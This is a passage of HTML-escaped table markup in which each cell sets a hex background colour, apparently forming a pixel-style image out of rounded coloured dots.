&lt;td style=&quot;background-color: #241a26; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #221925; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1c1624; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #171423; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #181422; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1a1723; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #231b21; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #130e20; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #0e0c20; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1b1122; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #281522; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #24121f; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1b0f20; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1a0f21; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1e1121; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1b1528; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #251f30; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #302632; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #2a2433; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #2c2636; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #322a3a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #44323c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #533a3d; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #583e3d; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;&lt;td style=&quot;background-color: #5c453e; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #543933; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #432f31; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #382934; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #382933; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #382932; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #38232f; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #3d252d; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #38222b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #36222c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #3a252b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #332029; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #332129; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #3a2325; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #2e1b25; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #221627; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #2c1b28; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #261928; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #221626; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #2d1f28; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #3d2c29; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #3e2e29; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #322228; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #2a1b28; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #231726; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #201625; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #221925; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1d1624; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1c1726; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #181425; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #161323; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1e1a24; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #141222; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #0e0c21; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #140d20; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #201020; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #2a1320; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #2a121f; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #2e161f; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #251521; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1a0f20; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1d1224; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #221c2e; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #282231; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #262030; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #2a2434; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #302839; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #46343c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #5a403f; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #5b4342; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;&lt;td style=&quot;background-color: #62473d; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #452d30; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #302131; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #382935; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #3b2933; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #37212c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #42252b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #55342c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #522d26; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #502c24; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #553226; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #4b2a26; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #2d1828; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #2b1c29; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #241425; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #170d26; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1b1129; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1d1126; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #251726; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #2d2028; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #322428; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #2f2027; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #2c1d27; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #281928; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #211625; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1f1625; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #191223; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1a1524; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1a1525; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #121023; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #131223; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #131122; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #0f0e22; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #0f0e22; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #150e21; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #22101f; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #251221; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #220f1f; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #2a131f; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #231221; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #180e21; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #171023; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #21192a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #201b2d; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #231e2f; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #272233; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #282336; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #352938; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #563c3d; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #5b4443; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;&lt;td style=&quot;background-color: #5a3f3b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #3b2833; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #2b2134; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #342635; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #2a1c31; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #3f262d; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #5c352b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #6f4228; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #744928; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #693f26; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #6b4128; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #6b4128; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #613925; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #402428; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #3b282b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #4e3a30; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #50372e; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #3d2829; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #2d1d27; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1e1326; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1a1127; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1c1127; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #211427; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #211527; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1e1527; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1c1427; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1b1526; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #191425; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #121024; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #0e0d23; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #121124; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #110f25; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #111024; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #120f23; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1c1223; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1d0f22; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #211122; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #271221; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #210d1f; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1c0e21; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1d1123; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #150f25; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #17142a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1f1a2d; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #241d2f; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #241d2f; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #262236; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #272237; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #352a3a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #473b44; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;&lt;td style=&quot;background-color: #53393b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #322336; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #2d2338; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #2f2538; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #251b32; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #3b242e; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #633d2c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #744b2b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #6a422b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #6d4429; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #653e2b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #6a412a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #6c462b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #916b36; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c99f4b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #dcb052; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d3a54b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #bd8f40; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
